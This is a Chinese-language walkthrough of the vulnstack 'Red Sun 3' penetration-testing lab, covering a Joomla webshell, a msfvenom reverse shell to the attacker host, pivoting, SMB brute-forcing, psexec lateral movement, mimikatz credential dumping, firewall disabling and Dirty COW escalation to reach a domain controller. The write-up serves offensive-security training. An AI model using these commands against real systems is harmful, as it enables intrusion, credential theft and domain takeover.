vulnstack-红日3
vulnstack红队3
真诚地建议您, 当看见打开的虚拟机状态为挂起的时候,先拍摄快照再进行其他操作,如果您删除了域成员而没有删除域控,在你重新解压域成员的时候会告诉你不信任该域,这样你就只能重新解压全部了
目标:域控中存在一份重要文件. 本次是黑盒渗透,所以没有账号密码
ubuntu显示的
ifconfig
太长了看不到?试试ip addr
吧要求还是web-centos可以ping通所有, 如果ping不通或者想要换个地址可以用
service network restart
重启网卡以重新获取地址我在执行上面的命令后发现虚拟机设置中的网络适配器可以调整了,而我的桥接模式用不了,我改成了NAT模式
新增一个虚拟网络: 192.168.93.0/24 内网环境(Vmnet2)
-
kali 192.168.204.132
-
web-centos 192.168.204.131 外网地址 192.168.93.100 内网地址
-
web1-ubantu(合理怀疑作者拼错了)
192.168.93.120
-
win2008 192.168.93.20
-
pc 192.168.93.30
-
Windows Server 2012 192.168.93.10
¶外网渗透
¶信息收集
┌──(root㉿kali)-[/home/kali/Desktop] |
如果你是NAT模式,你可以直接利用物理机的浏览器访问网址用更多插件,这里就不叙述了
访问可以看到博客界面,似乎没有进行任何更新,所以这个Joomla似乎就是博客的名称了
用dirsearch等工具扫描
dirsearch -u http://192.168.204.131 -i 200 // 仅输出响应200 |
分别是后台地址,web配置文件, 1.php
甚至是一个phpinfo, 2.php
我猜大概是一句话木马, robots.txt
也是给的后台地址
configuration.php 文件通常用于存储和管理网站的关键设置。大多数基于PHP的网站或网页框架都使用这种形式的配置文件, 可能包含的一些内容:
- 数据库连接信息:configuration.php 文件通常包含用来连接数据库的信息,如数据库服务器的地址、数据库的名字、用户名和密码等。
- 网站参数:这可能包括网站的URL、邮件服务设置、网站的语言设定、时间区域设置等。
- 错误报告级别:设定PHP应该报告何种级别的错误。
- 其他配置项:比如站点维护模式开关、缓存设置、文件上传的限制等。
发现有disable_functions
可惜后台爆破没结果, 还是看看远处的configuration.php
和configuration.php~
吧
格式化之后好看一点, 只给出比较重要的部分
public $dbtype = 'mysqli'; |
¶getshell
正好 3306 端口开了,这里的账号密码拿去看看
mysql -h 192.168.204.131 -utestuser -p // 谁让密码有特殊符号不能简单登录呢 |
根据前面configuration.php
的信息,我们逐个查找
use joomla; // 选择库 |
如果你不放心可以找官方给出的加密的的值, 为admin加密得到的
433903e0a9d6a712e00251e44d29bf87:UJ0b9J5fufL3FKfCc0TLsYJBh2PFULvT
上面是我们要找的,下面是我感兴趣的
然后用Administrator/123456
登录网站后台即可, 尝试写马或者上传
选择Beez3 Details and Files
,然后new file
,记得顶上的 Save & Close
也是非常好心地给了木马路径, 访问如果出现phpinfo的信息就表示成功解析了
http://192.168.204.131/templates/beez3/shell.php |
蚁剑连接即可,然后发现命令无法执行,可以直接用蚁剑的绕过disable_function
插件.我选择的是PHP7_UserFilter
,直接在终端内操作即可
也可以用SSH登录,我会写在后面
¶内网渗透
¶初步信息收集
ip addr // 内网地址192.168.93.120 ??? |
诶你先别急, 假如你也做了ssh登录网站主机,你会发现蚁剑上的似乎有很大不同, 蚁剑连接上的只有一个网卡,不可能是我们ssh连接上的这个机器,所以先收集一下内网信息
为什么我们webshell拿到的是内网的呢,原因是做了一层nginx反向代理
hostname // 获取主机名 ubuntu |
再来上线msf
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.204.132 lport=10000 -f elf > msf.elf |
这里就不能用蚁剑了,因为连接的机器在内网,肯定是出不来的, 这里给出ssh的方法(不需要提权)
python3 -m http.server 8080 // 这是kali,开启http服务,注意要在木马目录下 |
运行即可监听,运行命令为./msf.elf
, 如果你已经利用ssh提权了,连接就是firefart的root权限
如果想要在后台运行./msf.elf &
或者nohup ./msf.elf > /dev/null 2>&1 &
都可以,前者不能关会话
查看网卡信息, 因为是linux系统,还是用msf继续进行收集吧
msf添加内网网段路由
run autoroute -s 192.168.93.0/24 // 直接在meterpreter中执行 |
msf添加socks代理
use auxiliary/server/socks_proxy |
msf模块扫描存活主机, 我没找到 linux 的 fscan
// msf |
可以得到 windows 存活主机192.168.93.10
, 192.168.93.20
, 192.168.93.30
, 再加上蚁剑爆出来的192.168.93.120
, 本身是192.168.93.100
, 一共五台主机
¶横向移动
先用nmap扫一圈再说, 都开着445端口,但是永恒之蓝漏洞一点用都没有
试一下smb登录爆破吧(其实就是想要psexec登录域控)
use auxiliary/scanner/smb/smb_login |
这里用的自己的字典,给个参考吧
爆破出来192.168.93.30
和192.168.93.20
的密码都是administrator/123qwe!ASD
,然后利用msf的模块登录192.168.93.30
use exploit/windows/smb/psexec |
¶信息收集
终于来到了最熟悉的windows,进行一个信息收集
whoami // nt authority\system |
ping取得域控ip: 192.168.93.10
抓取密码, 不知道为什么我抓不到,返回都是空的,20和30都是
load kiwi // 加载 |
原因是这个: [!] Loaded x86 Kiwi on an x64 architecture.
这个时候用进程迁移是个不错的选择, 我将其放在后面
没办法,只能直接上传mimikatz了, 这里30不知道发什么疯,不能登录,换成了20
// smb连接 |
密码大满贯,结合剩下给出的信息可以知道两个有效密码
Administrator zxcASDqw123!! |
¶攻击域控
尝试用psexec登录域控, 先利用ipc$连接然后关闭防火墙
netsh advfirewall set allprofiles state off // 自己的也关了 |
说是没成功实际上已经成功了,在域控机子的cmd上执行查看防火墙命令即可确认
配置psexec, 拿下
use exploit/windows/smb/psexec |
其实也可以直接利用ipc$读文件
// ipc$连接后执行net use的时候会发现多了一个\\ip\ipc$的用户, 远程命令如下: |
重要文档一般都是在用户文件夹下
dir \\192.168.93.10\c$\users // 探探路 |
SSH登录网站主机
¶登录
蚁剑连接后在/tmp/mysql/test.txt
找到了一组账号密码
adduser wwwuser |
这个显然不是mysql的,我们已经翻过表了,尝试过一些地方登录后发现是可以登陆ssh的
ssh wwwuser@192.168.204.131 |
我这里kali报错: 发现远程服务器提供的主机密钥类型与客户端能接受的密钥类型不匹配,所以用的是服务器管理工具,或者修改命令即可,我不是很推荐
ssh wwwuser@192.168.204.131 -oHostkeyAlgorithms=+ssh-dss
¶提权
查看可写文件
find / -writable -type f -not -path "/proc/*" -not -path "/sys/*" -not -path "/var/*" 2>/dev/null |
passwd.bak感觉眼熟? 这就是脏牛漏洞! 这个影响的内核版本从Linux-2.6.22到Linux4.8
脏牛漏洞poc(dirt cow): 下载地址1(cpp) 下载地址2©
后缀不同命令也不同,这里选择的是c版本的
先查看内核版本看看,确实很老,刚好能用
无论你是通过 kali 开 http 服务还是通过管理工具, 上传了脏牛poc即可 (要求有 gcc 环境, 用 gcc -v 可以查看)
编译并且运行,稍微等一下,得到账号密码firefart/123456
然后就可以切换用户了,应该挺容易看出权限
进程迁移抓取密码
帮你们尝试过了,抓192.168.93.20
的, 30的什么都没有
sysinfo // 查看当前meterpreter信息 |
总算是可以运行了(来自后期的欣慰)